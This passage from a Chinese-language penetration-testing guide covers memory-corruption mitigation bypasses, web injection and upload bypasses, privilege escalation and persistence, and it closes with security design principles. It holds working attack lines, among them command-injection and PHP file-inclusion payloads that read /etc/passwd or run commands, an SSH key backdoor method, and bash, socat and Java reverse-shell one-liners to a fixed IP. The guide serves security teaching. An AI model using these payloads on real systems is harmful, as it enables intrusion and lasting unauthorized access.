缓冲区溢出是一种常见的漏洞,是指向缓冲区填充的数据超出了其本身的容量,主要是由于对所填充数据的长度检查不足造成的。攻击者可以在溢出数据内包含一段攻击指令,并用攻击指令的起始地址覆盖掉正常程序的返回地址,以达到利用缓冲区溢出漏洞的目的。最常见的利用方式是使具有 root 权限的溢出程序打开一个 shell,即可获得一个有 root 权限的 shell,再通过 shell 执行其他命令,进而对系统进行任意操作。
4.2.1.1 地址随机化绕过(ASLR)
当系统开启了地址随机化时,攻击者无法确定写入栈上的攻击指令的地址,导致无法用攻击代码的地址来进行覆盖返回地址。这种情况下可以通过下面的技术来完成绕过。
- ret2reg
ret2reg 的绕过要求系统中存在某个寄存器,比如 eax 或者 rax,指向缓冲区,并且代码中存在 call 或者 jump 该寄存器的指令,比如 call rax。此时将攻击代码写入缓冲区中,并用 call 或者 jump 该寄存器的指令的地址作为返回地址,覆盖栈上的正常返回地址,从而劫持程序流程,执行注入到缓冲区中的指令。ret2reg 攻击要求程序未开启 PIE,或者泄露程序代码地址,计算程序加载的基地址,从而计算 call 或者 jump 寄存器指令的逻辑地址。
4.2.1.2 数据保护绕过(NX、DEP)
当系统开启了数据保护,比如linux开启NX(No-eXecute),Windows开启DEP(Data Execution Prevention)之后,数据内存段区域不可执行,并使可执行区域不可写,上述方法即不再适用,需要使用下面的绕过技术。
- ret2libc
ret2libc 攻击方式主要是针对动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system()、execve()这种系统级函数,如果程序中直接包含了这类函数(或者其他目标函数)的调用,也可以直接控制返回地址指向目标函数。
因为程序是动态链接生成的,所以在程序运行时会调用 libc.so (程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so 就是其中最基本的一个),libc.so 是 linux 下 C 语言库中的运行库 glibc 的动态链接版,并且 libc.so 中包含了大量的可以利用的函数,包括 system()、execve()等系统级函数,因此可以通过找到这类函数在内存中的地址,来覆盖栈上的真实返回地址,以此获得进程的控制权。通常情况下会选择执行 system(“/bin/sh”)来打开 shell。 - ret2plt
在延迟绑定的情况下,库函数的实际地址通过 plt 代码调用_dl_runtime_resolve 函数解析得到函数的实际地址,然后刷新到对应的 got 表中函数地址。如果能够修改 got 表,也就可以劫持程序执行流程。 - ROP
如果目标函数在内存内无法找到,目标操作并没有特定的函数可以完美适配,就需要用到 ROP(Return Oriented Programming)方式,在内存中寻找多个指令片段,拼凑出一系列操作来达成目的。ROP 寻找的指令片段是经过精心设计的,每一次的 ret 返回的地址都是下一个指令的地址。
4.2.1.3 栈保护绕过
当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。如果可以获得 canary 的值,并将 canary 作为攻击报文的一部分发送给系统,那么就可以成功完成返回地址的覆盖。对于栈保护可以使用如下的技术或者思路来完成绕过。
- 泄露 canary
通过特定的方式,将保存在栈上的 canary 泄漏出来,攻击的时候将泄漏的 canary 作为攻击报文的一部分,来确保通过栈保护检测。 - 覆盖和修改 canary
x86架构下,canary 的取值来之 tcbhead_t 数据结构中的 stack_guard。每次创建新的线程时,会将 tcbhead_t 数据压入栈上,当缓冲区溢出的范围足够大时,可以实现用相同的值同时覆盖 tcbhead_t 数据中的 stack_guard 的值和保存在栈上的 canary 值,以此绕过栈保护校验。 - 爆破 canary(BROP 攻击,多进程、多线程架构)
对于攻击对象是子进程或者创建的子线程时,子进程或者线程即使异常退出也不会影响内存空间地址。因此可以通过爆破的方式来完成 canary 泄漏。操作方法如下:
以64位系统为例,当程序返回时,如果栈上的 canary 取值正确时,此时流程进入正常返回,当 canary 取值不正确时,进入__stack_chk_fail 流程,因此判断程序的不同行为,即可判断爆破的取值是否正确。对 canary 的每个字节进行独立爆破,最多需要执行8*255次破解尝试。
4.2.2 格式化串漏洞
常见的格式化串相关漏洞有以下两类:
- 格式化串完全或者部分可控:攻击者可以通过加入特定格式化字符来泄露信息甚至执行代码。
printf 属于可变参数函数,函数调用者可任意指定参数和数量,这也是漏洞产生的原因。printf()函数的一般形式为:printf(“format”,val)
format 中 parameter 参数:%[parameter][flags][field width][.precision][length]type - 格式化串本身不可控,但是某些函数特性使用不当会带来风险。
例如 snprintf 函数,当格式化后的字符串超过指定的长度时会进行截断,同时函数的返回值为不截断时的长度值,如果开发人员不熟悉该函数的这两个特性,都可能导致风险。如 Fortigate 任意文件读漏洞 CVE-2018-13379就是利用了 snprintf 函数的第一个特性,漏洞代码如下:
snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);
snprintf 的特性,最多向 buffer 写入 size-1字节,因此可以控制 lang 长度超出 s 的长度,从而造成之后的”.json”被截断,就可以实现任意文件读的效果。
4.2.3 条件竞争
条件竞争发生在当多个进程或者线程在读写数据时,其最终的结果依赖于多个进程的指令执行顺序。
4.2.4 XSS
XSS(Cross Site Scripting,跨站脚本攻击)是指恶意攻击者往 Web 页面里插入恶意 script 代码,当用户浏览该页之时,嵌入 Web 页面的 script 代码会被执行,从而达到恶意攻击用户的目的。XSS 漏洞的成因通常是通过 php 等语言的输出函数将未编码的数据输出到 html 页面中,并通过用户本地浏览器解析执行,所以 XSS 漏洞关键就是寻找参数未过滤的输出函数。常见的输出函数有:echo、printf、print、print_r、sprintf、die、var-dump、var_export。
XSS 分为反射型、存储型和 DOM(Document Objeet Model)型。
4.2.5 文件上传
文件上传是 web 应用中比较常见并且危害较大的一种漏洞类型,利用文件上传漏洞攻击者可以上传 webshell,获得 web 服务的控制权限。
常见的绕过方式:
- 客户端校验绕过:文件名检验仅在客户端通过 js 进行,服务端没有校验,可以通过 burp 直接发包绕过前端校验。
- 条件竞争绕过:测试人员在创建临时文件和删除临时文件的时间窗内访问上传的 webshell,获得执行权限。

- 路径穿越绕过:上传一个非 webshell 文件利用路径穿越覆盖同名的配置文件或者重要的系统文件。
- 服务端 MIME 类型检查绕过:服务端会对上传文件的类型进行检测,检测形式是对 Content-Type 字段做校验。可以通过修改 Content-Type 字段,来绕过检测机制。
- 服务端文件扩展名绕过:
- 利用文件后缀解析特点:
例如,php 通过正则表达式的方式匹配文件类型,比如".+\.ph(p[345]?|t|tml)\."。依据正则式的不同,可被解析为有效 php 文件的后缀有:php3、php4、php5、phtml 等。因此可以利用 php5、phtml 等文件扩展名绕过检测机制。 - 上传
.htaccess改变文件解析类型:
Apache 提供了一种可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件),文件生效的条件如下:- Apache 的配置文件中,要写上: AllowOverride All
- Apache 要加载 mod_Rewrite 模块。加载该模块,需要在 Apache 的配置文件中写上:LoadModule rewrite_module real_path/mod_rewrite.so,在满足此条件的情况下,可通过上传
.htaccess文件,来将某类型文件或某个文件当做 php 文件进行解析。
- 后缀大小写绕过:如果服务端只过滤小写的文件扩展名,如.php,没有在过滤前对文件名做 strtolower 操作,可以考虑绕过。
- 双写绕过:若服务端对后缀名的处理方式是删除敏感字符但不返错,可通过在扩展名中嵌入一层敏感字符来实现绕过,例如
.pphphp。 - %00截断绕过:
使用%00进行扩展名截断,主要利用部分函数对扩展名的检查机制是从后向前的,但存储文件时,实际赋予的文件名又会被%00截断后面的内容。比如 test.php%00.jpg,扩展名检测为.jpg,但存储的文件名是 test.php。
- 利用文件后缀解析特点:
4.2.6 命令注入
命令注入攻击是指由于应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造包含特殊字符的命令字符串,作为数据提交至应用程序,并利用该方式执行外部程序或系统命令实施攻击。
常见的绕过方式:
- 字符数限制绕过:向某个文件不断写入内容,之后给该文件增加可执行权限,再执行。
限制不超过10个字符,无法一次写入echo b>a ... echo \->>a ... echo 1>>a chmod +x a ./a - 特殊字符绕过:
空格绕过cat${IFS}/etc/passwd cat$IFS$9/etc/passwd cat<>/etc/passwd {cat,/etc/passwd} - 黑名单绕过:(如:不允许使用cat)
- 引号绕过:
c'a't /etc/passwd、c"a"t /etc/passwd - 变量绕过:
a=c;b=at;$a$b /etc/passwd
- 引号绕过:
- 白名单绕过:
- 自定义命令路径绕过(如:仅允许使用 cat):
/tmp/cat /etc/passwd
- 自定义命令路径绕过(如:仅允许使用 cat):
- 利用命令的参数或自带功能:
- find 命令自带的 exec 参数可以执行命令:
find /etc/passwd -exec id \;
- find 命令自带的 exec 参数可以执行命令:
命令注入案例 CVE-2017-1000117
4.2.7 代码注入
4.2.7.6 文件包含
在 PHP 文件中,文件包含攻击主要是未经过验证的用户输入直接作为 require()、require_once()、include()、include_once()及 file_get_contents()等文件访问函数的参数构造,导致黑客可以进行任意文件访问或者执行。PHP 的文件包含受 php.ini 配置文件选项 allow_url_fopen 和 allow_url_include 配置项的影响。allow_url_fopen 默认值为1,控制 web 服务器是否可以通过 ftp/http 的方式包含远程文件。allow_url_include 在 PHP5.2.0引入,在7.4.0废弃,且默认值为0,该配置项影响 include, include_once, require, require_once 是否远程包含文件。
用户输入数据不可信,因此需要做安全校验,以确定输入的数据是否合法。通常的做法以白名单的方式限制用户输入,其次根据用的不同输入,动态包含或者加载固定目录的文件,杜绝用户数据参与文件路径的构造,再次可以配置 php.ini,禁用 allow_url_include 和 allow_url_fopen 选项。
参考:File inclusion vulnerability - Wikipedia
文件包含绕过:
-
编码绕过:使用 URL 编码,绕过检查。
-
特殊字符绕过:使用 ?、*、 # 或者 Unicode 编码的方式来达到绕过的目的。
-
截断绕过:00 截断或者长度截断
-
PHP 伪协议绕过:可以尝试如下内容:
协议 allow_url_include 说明 file:// off 本地包含,可以通过如下方式读取设备文件: ?file=file:///etc/passwordglob:// off php://filter/read off 文件包含漏洞,可以泄漏任意文件,通过 ?file=php://filter/convert.base64-encode/resource=xxx.php,泄漏的数据已被 base64编码。php://filter/write off php://input on RCE,利用 ?file=php://input,会执行 post 请求的数据,可以被利用来写入一句话木马。data:// on RCE,利用 ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4=, # (<?php system("id")?>)zip:// off phar:// off -
协议绕过:allow_url_include 针对 HTTP 和 FTP 协议,可以使用其他协议绕过检测。实例:CVE-2020-1938 tomcat
4.2.7.7 SQL注入
应用程序在向后台数据库传递 SQL 查询时,如果为攻击者提供了影响该查询的能力,就会引发 SQL 注入。典型的 SQL 注入更多的是针对服务器端的数据库,然而根据目前的 HTML5规范,攻击者可以采用完全相同的办法对客户端数据库进行攻击,比如 Web SQL。
- 编码绕过:如果服务端对部分敏感符号进行监测,可以采用 URL 编码的方式实现绕过。
- 字母大小写绕过:该绕过方式基于服务端只校验了小写或大写字符,但在校验前没有进行字符大小写的相应转换。
- 空格绕过:若服务端期望的输入只是单个整型数据或单个字符串,可能会对空格进行校验。此时,我们可以采用其他方式来表示空格。
-
使用空白符:
数据库类型 允许的空白符 SQLite3 0A,0D,0C,09,20 MySQL5 09,0A,0B,0C,0D,A0,20 PostgreSQL 0A,0D,0C,09,20 Oracle 11g 00,0A,0D,0C,09,20 MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 -
使用
'+'代替空格 -
使用
/**/代替空格
-
- 双写绕过:服务端对输入的处理方式为删除敏感字符或字符串,此时可考虑双写绕过
- 请求方式差异绕过:id 可以通过 get 和 post 方式提交,如果只有 get 方式有校验,此时 id 参数可以通过 post 方式提交,绕过校验。
- 协议未覆盖绕过:
- 常见的 content-type 类型:部分 WAF 可能只对一种 content-type 类型增加了检测规则,可以尝试替换类型来绕过 WAF 过滤机制。
- Content-Type: multipart/form-data;
- Content-Type: application/x-www-form-urlencoded
- Content-Type: text/xml
- Content-Type: application/json
- 常见的 content-type 类型:部分 WAF 可能只对一种 content-type 类型增加了检测规则,可以尝试替换类型来绕过 WAF 过滤机制。
- 宽字节绕过:服务端会对部分敏感字符进行转义,比如将
’转义成\’,导致注入失败。可以利用宽字节注入的方式来绕过这种防御。
4.3 权限提升
通过漏洞利用获得的权限通常是一个普通用户的权限,权限较低,为了获取系统上更多的敏感信息和价值资产,往往需要进行权限提升。
通常的提权分为两种场景:
- 业务账号提权,从普通的业务账户提升到管理员账号,可以利用管理员权限控制管理的资产
- 本地提权,从操作系统的普通账号提权到最高权限(即root权限)
4.3.1 业务应用内提权
- 纵向越权:
如果系统对授权管理接口没有做合理限制,导致普通业务账户可以访问管理员才能访问的敏感操作接口,如账号管理接口就能达到添加高权限用户的目的。
工具:burpsuite 的应用商店提供了一些插件可以进行越权检测,如 autorize,可以对两个账号可以访问的资源进行标记。 - 存储型 XSS:
低权限用户利用存储型 XSS 植入恶意 js 脚本,当管理员用户访问时就可以利用 js 完成绕过 csrf 并借助管理员权限实现添加管理员的目的。
4.3.2 系统本地提权
从普通的系统账号提权到系统的最高权限,可以最大程度上影响系统的机密性、完整性和可用性。
几种常见的本地提权方式:
- sudo 脚本提权:
系统中可以配置特定用户在使用 sudo 运行某些命令或者脚本的时候具有 root 权限并且不需要输入密码,因此命令或者脚本存在被普通用户利用进行提权的可能,通过 sudo -l 命令可以查看当前用户的 sudo 配置。 - 定时任务提权:
由于系统定时任务 crond 一般都是 root 用户运行的,配置的定时任务脚本也自然具有 root 权限,如果定时任务脚本自身权限设置或者实现不当,就容易被攻击者利用进行提权,通过crontab -l可以查看当前用户的定时任务。 - suid 提权:
设置了 suid 位且属主为 root 的可执行文件,普通用户在运行该文件时也具备了 root 权限,因此如果程序功能没有合理限制,就容易导致提权。 - capbilitiy 提权:
capability 提权与 suid 提权类似,设置了 suid 位的属主为 root 的可执行程序具有完整的 root 权限,capability 对 root 权限进行拆分,但是某些 capability,如 CAP_DAC_OVERRIDE、CAP_CHOWN、CAP_SETUID,比较高危,如果具备 CAP_DAC_OVERRIDE 的程序可以控制文件的写入路径和内容,就可以修改任意文件从而达到提权效果。 - root 进程链接低权限属主库文件与共享内存提权:
某些高权限进程在运行时,可能会依赖特定目录下的动态库文件或者其他重要文件(如配置文件),如果这些文件低权限用户可写,就可以控制高权限进程的行为,很容易导致提权。 - ko 驱动&内核提权:
ko 驱动一般是运行在内核层,权限很高,如果 ko 驱动实现不当,就可能有提权风险。ko 驱动提权的一个例子是 CVE-2019-18683,它是 linux v4l2 子系统的条件竞争漏洞,可以利用该漏洞造成 uaf。
上述5中利用思路类似,主要分析3点内容:
- 脚本或者程序的权限设置或者功能实现是否有问题
- 是否依赖了低权限用户可控的关键资源(如可执行脚本、动态库或者关键配置等)
- 是否存在对低权限用户可控的文件(可通过符号链接的形式)的读写功能
如果存在,就可以在脚本或配置中植入提权命令,或者利用读写功能替换关键系统文件实现提权。可以用于 suid 或者 sudo 提权的命令见:GTFOBins
第6种提权方式的利用需要满足两个条件:一是低权限用户可以向驱动的设备文件发送控制命令或者进行写操作;二是驱动在实现中存在可被利用的漏洞,如 uaf 等。
测试人员可以利用驱动漏洞在内核层进行漏洞利用,将当前与设备交互的进程权限提升为 root 权限。
其他内容:PXN防护技术的研究与绕过_pxn的目的-CSDN博客
4.4 持久化
持久化包括攻击者在用户系统重新启动,更改的凭据以及可能切断其访问权限的情况保持对系统的访问权限的技术。用于持久化的技术包括任何访问、操作或更改配置,使攻击者能够在系统上拥有权限,例如替换或劫持合法代码或添加启动脚本。
更多内容:MITRE ATT&CK®
4.4.1 SSH 衍生的各种方法
- openssh包替换:
事先制作带有后门的 OpenSSH,如增加后门密码,将 openssh 使用时相关的用户名密码等记录到某个特定的文件等,然后再进行替换。
参考内容:OpenSSH后门的安装 | Hone老帅 - 通过 ssh 软连接
通过软连接建立一个 ssh 后门
内容参考:ssh 软连接后门使用 – 旧时光笔记 - 利用公钥免密登录
攻击者在自己的机器上生成 SSH 相关的公钥(id_rsa.pub)和私钥(id_rsa)。在被攻击的服务器上,将攻击者的公钥内容粘贴到文件/root/.ssh/authorized_keys里(如果原来存在内容就另起一行粘贴)。
然后,直接 SSH 即可登陆被攻击的服务器了。当然,这种攻击很容易被发现。
4.4.2 反弹shell
4.4.2.1 bash 反弹
Bash 产生一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即 TCP 8080 会话连接)相结合,然后再重定向个 TCP 8080会话连接,最后将用户键盘输入与用户标准输出相结合后再次重定向给一个标准的输出,即得到一个 Bash 反弹环境。
root# bash -i >& /dev/tcp/192.168.31.41/8080 0>&1 4.4.2.2 socat 反弹
Socat 是 Linux 下一个多功能的网络工具,名字来由是“Socket CAT”,因此可以看出它基于 Socket,能够折腾 Socket 相关的无数事情,其功能与 netcat 类似。
root# socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.31.41:8080 4.4.2.3 java 脚本反弹
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor() 4.4.2.4 msfvenom 反弹
MSF 框架也为我们提供了生成一句话反弹 Shell 的工具,即 msfvenom
其他内容:【技术分享】linux各种一句话反弹shell总结-安全客 - 安全资讯平台
4.4.3 webshell
WebShell 简单来说,就是在被入侵的机器上放置一个入侵者自己的 web 服务(.cgi .php .jsp),以后入侵者就可以通过访问这个 Web 服务,在被攻击的服务器上做一些数据的窃取等操作。
GitHub - xl7dev/WebShell: Webshell && Backdoor Collection
5. 其他内容
5.1 威胁可能性参考
- 行业漏洞库:
CVE:CVE - CVE
CNVD:cnvd.org.cn
CNNVD:国家信息安全漏洞库 - 搜索引擎:谷歌、exploit-db
- 行业会议:blackhat 黑帽大会
5.2 工具
draw.io 的威胁库:GitHub - michenriksen/drawio-threatmodeling: Draw.io libraries for threat modeling diagrams
OWASP 风险评估计算器:OWASP RISK RATING CALCULATOR
5.3 安全设计原则
| 安全设计原则 | 解释说明 |
|---|---|
| 开放设计原则 | 设计不应该是秘密,不应依赖对设计和实现保密以及攻击者的无知,应当使产品的设计经受充分的检验。 |
| 默认安全原则 | 系统在初始状态下,默认配置是安全的,通过使用最少的系统和服务来提供最大的安全性 |
| 权限分离原则 | 1. 将权限授权分配给多个用户,可以防止某一用户拥有全部权限,从而引起事故、欺诈、滥用授权等 2. 对某一重要权限分解为多个权限,让需要保护的对象更难被非法获取,从而也更安全 |
| 最小权限原则 | 系统每一个用户、每一个程序都应该使用最小且必须的权限集来完成工作 |
| 经济适用原则 | 1. 精简冗余的代码和设计,避免给功能模块留下潜在的安全漏洞和风险 2. 设计可以重复使用的组件,更加高效快捷,避免误操作或遗漏修改而影响系统安全 |
| 最小公共化原则 | 尽量减少那些多用户间公用的且被所有用户依赖的机制。比如共享内存等 |
| 安全仲裁原则 | 对于每个对象的每次访问,都必须经过权限检查 |
| 心理可承受原则 | 人机交互界面必须设计得易于使用,以确保用户能够习惯性地正确地应用保护机制 |